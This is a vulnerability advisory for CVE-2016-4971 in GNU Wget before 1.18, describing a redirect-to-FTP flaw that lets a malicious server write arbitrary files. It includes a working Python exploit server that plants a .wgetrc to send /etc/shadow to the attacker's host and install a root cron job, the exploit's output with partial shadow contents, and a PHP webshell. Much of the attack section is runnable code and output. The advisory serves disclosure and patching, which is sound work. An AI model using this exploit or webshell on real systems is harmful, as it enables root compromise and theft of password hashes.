GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution

=============================================

- Release date: 06.07.2016

- Discovered by: Dawid Golunski

- Severity: High

- CVE-2016-4971

=============================================





I. VULNERABILITY

-------------------------



GNU Wget < 1.18       Arbitrary File Upload / Potential Remote Code Execution





II. BACKGROUND

-------------------------



"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and 

FTP, the most widely-used Internet protocols. 

It is a non-interactive commandline tool, so it may easily be called from 

scripts, cron jobs, terminals without X-Windows support, etc.



GNU Wget has many features to make retrieving large files or mirroring entire 

web or FTP sites easy

"



https://www.gnu.org/software/wget/





III. INTRODUCTION

-------------------------



GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or 

compromised web server) can be tricked into saving an arbitrary remote file 

supplied by an attacker, with arbitrary contents and filename under 

the current directory and possibly other directories by writing to .wgetrc.

Depending on the context in which wget is used, this can lead to remote code 

execution and even root privilege escalation if wget is run via a root cronjob 

as is often the case in many web application deployments. 

The vulnerability could also be exploited by well-positioned attackers within

the network who are able to intercept/modify the network traffic.





IV. DESCRIPTION

-------------------------



Because of lack of sufficient controls in wget, when user downloads a file 

with wget, such as:



wget http://attackers-server/safe_file.txt



an attacker who controls the server could make wget create an arbitrary file

with an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect 

containing FTP server reference in response to the victim's wget request. 



For example, if the attacker's server replies with the following response:



HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: ftp://attackers-server/.bash_profile

Content-Length: 262

Server: Apache



wget will automatically follow the redirect and will download a malicious

.bash_profile file from a malicious FTP server. 

It will fail to rename the file to the originally requested filename of 

'safe_file.txt' as it would normally do, in case of a redirect to another 

HTTP resource with a different name. 



Because of this vulnerability, an attacker is able to upload an arbitrary file

with an arbitrary filename to the victim's current directory.



Execution flow:



victim@trusty:~$ wget --version | head -n1

GNU Wget 1.17 built on linux-gnu.



victim@trusty:~$ pwd

/home/victim



victim@trusty:~$ ls

victim@trusty:~$   



victim@trusty:~$ wget http://attackers-server/safe-file.txt

Resolving attackers-server... 192.168.57.1

Connecting to attackers-server|192.168.57.1|:80... connected.

HTTP request sent, awaiting response... 302 Found

Location: ftp://192.168.57.1/.bash_profile [following]

           => ‘.bash_profile’

Connecting to 192.168.57.1:21... connected.

Logging in as anonymous ... Logged in!

==> SYST ... done.    ==> PWD ... done.

==> TYPE I ... done.  ==> CWD not needed.

==> SIZE .bash_profile ... 55

==> PASV ... done.    ==> RETR .bash_profile ... done.

Length: 55 (unauthoritative)



.bash_profile                                100%[=============================================================================================>]      55  --.-KB/s   in 0s



2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55]





victim@trusty:~$ ls -l

total 4

-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile

victim@trusty:~$ 





This vulnerability will not work if extra options that force destination

filename are specified as a paramter. Such as: -O /tmp/output

It is however possible to exploit the issue with mirroring/recursive options

enabled such as -r or -m.



Another limitation is that attacker exploiting this vulnerability can only

upload his malicious file to the current directory from which wget was run, 

or to a directory specified by -P option (directory_prefix option).

This could however be enough to exploit wget run from home directory, or

within web document root (in which case attacker could write malicious php files

or .bash_profile files).



The current directory limitation could also be bypassed by uploading a .wgetrc 

config file if wget was run from a home directory.



By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget

settings such as destination directory for all downloaded files in future,

as well as set a proxy setting to make future requests go through a malicious 

proxy server belonging to the attackers to which they could send further 

malicious responses.





Here is a set of Wget settings that can be helpful to an attacker:



dir_prefix = string

	Top of directory tree—the same as ‘-P string’.



post_file = file

	Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.



recursive = on/off

	Recursive on/off—the same as ‘-r’.



timestamping = on/off

	Allows to overwrite existing files.



cut_dirs = n

	Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).



http_proxy 

	HTTP Proxy server



https_proxy 

	HTTPS Proxy server



output_document = file

	Set the output filename—the same as ‘-O file’.



input = file

	Read the URLs from string, like ‘-i file’.



metalink-over-http

	Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. 

        Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.







Full list of .wgetrc options can be found in:



https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands







V. PROOF OF CONCEPT EXPLOIT

-------------------------





1) Cronjob with wget scenario



Often wget is used inside cronjobs. By default cronjobs run within home 

directory of the cronjob owner.

Such wget cronjobs are commonly used with many applications used to download 

new version of databases, requesting web scripts that perform scheduled tasks 

such as rebuilding indexes, cleaning caches etc. 

Here are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on 

the Internet with exploitable wget cronjobs:



https://codex.wordpress.org/Post_to_your_blog_using_email

https://docs.moodle.org/2x/ca/Cron

http://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site

http://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel



Such setup could be abused by attackers to upload .bash_profile file through

wget vulnerability and run commands in the context of the victim user upon 

their next log-in. 



As cron runs priodically attackers, could also write out .wgetrc file in the 

first response and then write to /etc/cron.d/malicious-cron in the second. 

If a cronjob is run by root, this would give them an almost instant root code 

execution.





It is worth noting that if an attacker had access to local network they could 

potentially modify unencrypted HTTP traffic to inject malicious 30X Redirect 

responses to wget requests.



This issue could also be exploited by attackers who have already gained 

access to the server through a web vulnerability to escalate their privileges. 

In many cases the cron jobs (as in examples above) are set up to request 

various web scripts e.g: 

http://localhost/clean-cache.php 



If the file was writable by apache, and attacker had access to www-data/apache 

account, they could modify it to return malicious Location header and exploit 

root cronjob that runs the wget request in order to escalate their privileges 

to root.





For simplicity we can assume that attacker already has control over the server 

that the victim sends the request to with wget.



The root cronjob on the victim server may look as follows:



root@victim:~# cat /etc/cron.d/update-database

# Update database file every 2 minutes

*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1





In order to exploit this setup, attacker first prepares a malicious .wgetrc 

and starts an FTP server:



attackers-server# mkdir /tmp/ftptest

attackers-server# cd /tmp/ftptest



attackers-server# cat <<_EOF_>.wgetrc

post_file = /etc/shadow

output_document = /etc/cron.d/wget-root-shell

_EOF_



attackers-server# sudo pip install pyftpdlib

attackers-server# python -m pyftpdlib -p21 -w





At this point attacker can start an HTTP server which will exploit wget by

sending malicious redirects to the victim wget's requests:

 

---[ wget-exploit.py ]---



#!/usr/bin/env python



#

# Wget 1.18 < Arbitrary File Upload Exploit

# Dawid Golunski

# dawid( at )legalhackers.com

#

# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt

#

# CVE-2016-4971 

#



import SimpleHTTPServer

import SocketServer

import socket;



class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):

   def do_GET(self):

       # This takes care of sending .wgetrc



       print "We have a volunteer requesting " + self.path + " by GET :)\n"

       if "Wget" not in self.headers.getheader('User-Agent'):

	  print "But it's not a Wget :( \n"

          self.send_response(200)

          self.end_headers()

          self.wfile.write("Nothing to see here...")

          return



       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"

       self.send_response(301)

       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )

       print "Sending redirect to %s \n"%(new_path)

       self.send_header('Location', new_path)

       self.end_headers()



   def do_POST(self):

       # In here we will receive extracted file and install a PoC cronjob



       print "We have a volunteer requesting " + self.path + " by POST :)\n"

       if "Wget" not in self.headers.getheader('User-Agent'):

	  print "But it's not a Wget :( \n"

          self.send_response(200)

          self.end_headers()

          self.wfile.write("Nothing to see here...")

          return



       content_len = int(self.headers.getheader('content-length', 0))

       post_body = self.rfile.read(content_len)

       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)



       print "Sending back a cronjob script as a thank-you for the file..." 

       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"

       self.send_response(200)

       self.send_header('Content-type', 'text/plain')

       self.end_headers()

       self.wfile.write(ROOT_CRON)



       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"



       return



HTTP_LISTEN_IP = '192.168.57.1'

HTTP_LISTEN_PORT = 80

FTP_HOST = '192.168.57.1'

FTP_PORT = 21



ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"



handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)



print "Ready? Is your FTP server running?"



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

result = sock.connect_ex((FTP_HOST, FTP_PORT))

if result == 0:

   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)

else:

   print "FTP is down :( Exiting."

   exit(1)



print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT



handler.serve_forever()





---[ eof ]---







Attacker can run wget-exploit.py and wait a few minutes until the victim's server executes

the aforementioned cronjob with wget.



The output should look similar to:





---[ wget-exploit.py output ]---



attackers-server# python ./wget-exploit.py 



Ready? Is your FTP server running?

FTP found open on 192.168.57.1:21. Let's go then



Serving wget exploit on port 80...





We have a volunteer requesting /database.db by GET :)



Uploading .wgetrc via ftp redirect vuln. It should land in /root 



192.168.57.10 - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 -

Sending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc 



We have a volunteer requesting /database.db by POST :)



Received POST from wget, this should be the extracted /etc/shadow file: 



---[begin]---

root:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::

daemon:*:16484:0:99999:7:::

bin:*:16484:0:99999:7:::

sys:*:16484:0:99999:7:::

sync:*:16484:0:99999:7:::

games:*:16484:0:99999:7:::

man:*:16484:0:99999:7:::

lp:*:16484:0:99999:7:::

...cut...

---[eof]---



Sending back a cronjob script as a thank-you for the file...

It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)

192.168.57.10 - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 -



File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) 



---[ output eof ]---





As we can see .wgetrc got uploaded by the exploit. It has set the post_file

setting to /etc/shadow.

Therefore, on the next wget run, wget sent back shadow file to the attacker.

It also saved the malicious cronjob script (ROOT_CRON variable) which should 

create a file named /root/hacked-via-wget, which we can verify on the victim's 

server:





root@victim:~# cat /etc/cron.d/wget-root-shell 

* * * * * root /usr/bin/id > /root/hacked-via-wget 



root@victim:~# cat /root/hacked-via-wget 

uid=0(root) gid=0(root) groups=0(root)







2) PHP web application scenario



If wget is used within a PHP script e.g.:



<?php



// Update geoip data



  system("wget -N -P geoip http://attackers-host/goeip.db");	



?>



An attacker who manages to respond to the request could simply upload a PHP

backdoor of:



<?php

	//webshell.php



	system($_GET['cmd']);

?>



by using the wget-exploit script described in example 1.



After the upload he could simply execute the script and their shell

command by a GET request to:



http://victims-php-host/geoip/webshell.php?cmd=id





VI. BUSINESS IMPACT

-------------------------



Affected versions of wget that connect to untrusted (or compromised) web 

servers could be tricked into uploading a file under an arbitrary name, or

even path (if wget is run from a home directory).

Depending on the context in which wget is used, this could lead to

uploading a web shell and granting the attacker access remote access to the

system, or privilege escalation. It could be possible for attackers to escalate

to root user if wget is run via root cronjob as it is often the case in web 

application deployments and is recommended in some guides on the Internet.



The vulnerability could also be exploited by well-positioned attackers within

the networ who are able to intercept/modify the network traffic.



 

VII. SYSTEMS AFFECTED

-------------------------



All versions of Wget before the patched version of 1.18 are affected.

 

VIII. SOLUTION

-------------------------



Update to wget version 1.18 as advertised by the vendor at:



http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html



Linux distributions should update their wget packages. It is recommended

to update wget manually if an updated package is not available for your

distribution.

 

IX. REFERENCES

-------------------------



http://legalhackers.com



http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt



http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html



http://www.ubuntu.com/usn/usn-3012-1/



https://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971



X. CREDITS

-------------------------



The vulnerability has been discovered by Dawid Golunski

dawid (at) legalhackers (dot) com

legalhackers.com

 

XI. REVISION HISTORY

-------------------------



06.07.2016 - Advisory released

 

XII. LEGAL NOTICES

-------------------------



The information contained within this advisory is supplied "as-is" with

no warranties or guarantees of fitness of use or otherwise. I accept no

responsibility for any damage caused by the use or misuse of this information.